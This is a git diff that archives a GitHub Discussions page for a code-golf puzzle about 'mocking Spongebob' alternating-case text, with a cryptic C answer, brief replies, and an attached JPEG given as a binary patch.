+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #6  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + +
    + + + + + + + + + + +
    + + + + + + + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 5: Mocking Spongebob + + #6 +

    +
    + Unanswered +
    + + mpldr + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 5: Mocking Spongebob + + #6 +
    +
    +
    + + +
    + on Apr 17, 2021 + · + 2 answers + · + 1 reply +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 17, 2021 + + +
    + + + Collaborator + + + +
    + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    This problem revolves around the very relevant and serious problem of mocking people on the internet.

    +

    The mocking Spongebob Meme + has long been a proven way to tell someone that you're thinking they +are silly without outright stating it. It works by changing the +capitalization of random letters in the text.

    +
    Oh, you're so talented // Original
    +Oh, yoU're so talEnTEd // one possible output
    +oH, YoU'RE SO TaLEnted // another possible output
    +
    + + + + +
    +

    For more information click here, here, or here.

    +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 2 suggested answers +
    + +
    + · +
    + +
    + 1 reply +
    +
    + + +
    + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + + + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 17, 2021 + + +
    + + + Maintainer + + + +
    + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Why don't all languages have pointers?

    +
    double P=3.141592653;//Nothing-up-my-sleeve!
    +main(int n,char**v){char*c=v[1];while(*c)putchar((*(int*)&P>>(*c&31)&1)<<5^*c++);}
    + + + + +
    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + 1 reply + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    @mpldr
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + mpldr + + + + on Apr 19, 2021 + + +
    + + + Collaborator + + + + Author + + +
    + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    This is cursed. Also IMHO the amount of capitalized chars is a bit… lacking

    +
    + +
    + +
    + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + + + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 25, 2021 + + +
    + + + Collaborator + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    https://github.com/Ta180m/Idiot-Code-Golf/blob/main/mocking-bob/more-parallelism.go
    +zombomeme25042021221144

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 2 participants +
    + +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + + +
      + Loading... +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Loading complete
    \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/116008116-7c456480-a602-11eb-9812-0ea5576f8d09.jpg b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/116008116-7c456480-a602-11eb-9812-0ea5576f8d09.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e98d521b6657754098a8a49bb5c932a446002a67 GIT binary patch literal 148806 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 